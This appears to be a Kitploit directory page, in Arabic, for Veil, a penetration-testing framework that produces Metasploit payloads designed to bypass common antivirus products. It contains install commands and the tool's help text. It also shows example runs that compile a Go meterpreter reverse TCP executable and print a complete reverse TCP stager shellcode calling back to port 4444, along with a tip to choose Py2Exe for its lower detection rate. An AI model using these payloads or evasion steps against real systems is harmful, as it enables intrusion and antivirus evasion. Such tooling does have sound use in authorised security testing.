Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Veil — Veil 3.1.X (تحقق من معلومات الإصدار في Veil وقت التشغيل) | Kitploit
أدوات/GitHubGitHub/veil-framework/veil
أطر الاستغلالتوليد الحمولةاختبار الاختراقالقيادة والسيطرةتوليد شيفرة القشرةArchived
GitHubveil-framework/veil

Veil

Veil 3.1.X (تحقق من معلومات الإصدار في Veil وقت التشغيل)

عرض المستودع
4.2k9148منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Veil

Veil Logo

فيل هي أداة مصممة لإنشاء حمولات metasploit التي تتجاوز حلول مكافحة الفيروسات الشائعة.

فيل مدعوم حاليًا من قبل @ChrisTruncer


المتطلبات البرمجية:

أنظمة التشغيل التالية مدعومة رسميًا:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

أنظمة التشغيل التالية من المحتمل أن تكون قادرة على تشغيل Veil:

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux

الإعداد

التثبيت السريع في Kali

root@kitploit:~
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

التثبيت السريع عبر Git

ملاحظة:

  • يجب أن يتم التثبيت بصلاحيات المستخدم المتميز (سوبر يوزر). إذا لم تكن تستخدم حساب الجذر (كما هو افتراضي في Kali Linux)، أضف sudo قبل الأوامر أو قم بالتبديل إلى المستخدم الجذر قبل البدء.
  • قد يختلف مدير الحزم لديك عن apt. ستحتاج أيضًا إلى تشغيل خادم X إما على النظام نفسه أو على نظامك المحلي.
  • root@kitploit:~
    sudo apt-get -y install git
    git clone https://github.com/Veil-Framework/Veil.git
    cd Veil/
    ./config/setup.sh --force --silent
    

    ./config/setup.sh // ملفات الإعداد

    هذا الملف مسؤول عن تثبيت جميع تبعيات Veil. يتضمن ذلك بيئة WINE بأكملها، للجانب الخاص بنظام Windows. سيقوم بتثبيت جميع حزم Linux الضرورية و GoLang، بالإضافة إلى Python و Ruby و AutoIT لنظام Windows. بالإضافة إلى ذلك، سيقوم أيضًا بتشغيل ./config/update-config.py لبيئتك.

    يتضمن علمين اختياريين، --force و --silent:

    root@kitploit:~
    --force ~ إذا حدث خطأ ما، فسيؤدي ذلك إلى الكتابة فوق أي تثبيتات سابقة تم اكتشافها. مفيد عندما يكون هناك تحديث لحزمة الإعداد.
    --silent ~ سيقوم هذا بإجراء تثبيت غير مراقب لكل شيء، حيث سيقوم بأتمتة جميع الخطوات، لذلك لا يوجد تفاعل من المستخدم.
    

    يمكن تشغيل هذا إما عن طريق: ./Veil.py --setup أو ./config/setup.sh --force.

    ./config/update-config.py // إعادة إنشاء ملف التكوين

    سيؤدي هذا إلى إنشاء ملف الإخراج لـ /etc/veil/settings.py. في معظم الأحيان لن تحتاج إلى إعادة بنائه ولكن في بعض الحالات قد يُطلب منك القيام بذلك (مثل تحديث كبير لـ Veil).

    من المهم أن تكون في الدليل ./config/ قبل تنفيذ update-config.py. إذا لم تكن كذلك، فسيكون /etc/veil/settings.py غير صحيح وعند تشغيل Veil سترى ما يلي:

    root@kitploit:~
        Main Menu
    
                0 payloads loaded
    

    لا داعي للذعر. قم بتشغيل إما: ./Veil.py --config أو cd ./config/; ./update-config.py.

    Py2Exe

    ملاحظة: يوصى باستخدام Py2Exe بدلاً من PyInstaller (حيث أن معدل اكتشافه أقل).

    التثبيت يدويًا على جهاز كمبيوتر يعمل بنظام Windows (لأن هذا لا يتم بواسطة إعداد Veil):

    • Python 3.3
    • Py2Exe
    • PyCrypto
    • PyWin32

    مثال على الاستخدام

    القائمة الرئيسية لـ Veil:

    root@kitploit:~
    $ ./Veil.py
    ===============================================================================
                                 Veil | [Version]: 3.1.6
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
    Main Menu
    
      2 tools loaded
    
    Available Tools:
    
      1)  Evasion
      2)  Ordnance
    
    Available Commands:
    
      exit      Completely exit Veil
      info      Information on a specific tool
      list      List available tools
      options     Show Veil configuration
      update      Update Veil
      use     Use a specific tool
    
    Veil>:
    

    المساعدة

    root@kitploit:~
    $ ./Veil.py --help
    usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
                   [--version] [--ip IP] [--port PORT] [--list-payloads]
                   [-p [PAYLOAD]] [-o OUTPUT-NAME]
                   [-c [OPTION=value [OPTION=value ...]]]
                   [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
                   [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
                   [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
    
    Veil is a framework containing multiple tools.
    
    [*] Veil Options:
      --list-tools          List Veil's tools
      -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
      --update              Update the Veil framework
      --setup               Run the Veil framework setup file & regenerate the
                            configuration
      --config              Regenerate the Veil framework configuration file
      --version             Displays version and quits
    
    [*] Callback Settings:
      --ip IP, --domain IP  IP address to connect back to
      --port PORT           Port number to connect to
    
    [*] Payload Settings:
      --list-payloads       Lists all available payloads for that tool
    
    [*] Veil-Evasion Options:
      -p [PAYLOAD]          Payload to generate
      -o OUTPUT-NAME        Output file base name for source and compiled binaries
      -c [OPTION=value [OPTION=value ...]]
                            Custom payload module options
      --msfoptions [OPTION=value [OPTION=value ...]]
                            Options for the specified metasploit payload
      --msfvenom []         Metasploit shellcode to generate (e.g.
                            windows/meterpreter/reverse_tcp etc.)
      --compiler pyinstaller
                            Compiler option for payload (currently only needed for
                            Python)
      --clean               Clean out payload folders
    
    [*] Veil-Ordnance Shellcode Options:
      --ordnance-payload PAYLOAD
                            Payload type (bind_tcp, rev_tcp, etc.)
    
    [*] Veil-Ordnance Encoder Options:
      --list-encoders       Lists all available encoders
      -e ENCODER, --encoder ENCODER
                            Name of shellcode encoder to use
      -b \x00\x0a.., --bad-chars \x00\x0a..
                            Bad characters to avoid
      --print-stats         Print information about the encoded shellcode
    $
    

    واجهة سطر أوامر Veil Evasion

    root@kitploit:~
    $ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
    ===============================================================================
                                       Veil-Evasion
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
    runtime/internal/sys
    runtime/internal/atomic
    runtime
    errors
    internal/race
    sync/atomic
    math
    sync
    io
    unicode/utf8
    internal/syscall/windows/sysdll
    unicode/utf16
    syscall
    strconv
    reflect
    encoding/binary
    command-line-arguments
    ===============================================================================
                                       Veil-Evasion
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
     [*] Language: go
     [*] Payload Module: go/meterpreter/rev_tcp
     [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
     [*] Source code written to: /var/lib/veil/output/source/payload.go
     [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
    $
    $ file /var/lib/veil/output/compiled/payload.exe
    /var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
    $
    

    واجهة سطر أوامر Veil Ordnance

    root@kitploit:~
    $ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
    ===============================================================================
                                       Veil-Ordnance
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
     [*] Payload Name: Reverse TCP Stager (Stage 1)
     [*] IP Address: 127.0.0.1
     [*] Port: 4444
     [*] Shellcode Size: 287
    
    \xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
    $
    

    الترخيص

    هذا المشروع مرخص بموجب رخصة GNU العامة العامة الإصدار 3.

    تنزيل الأداة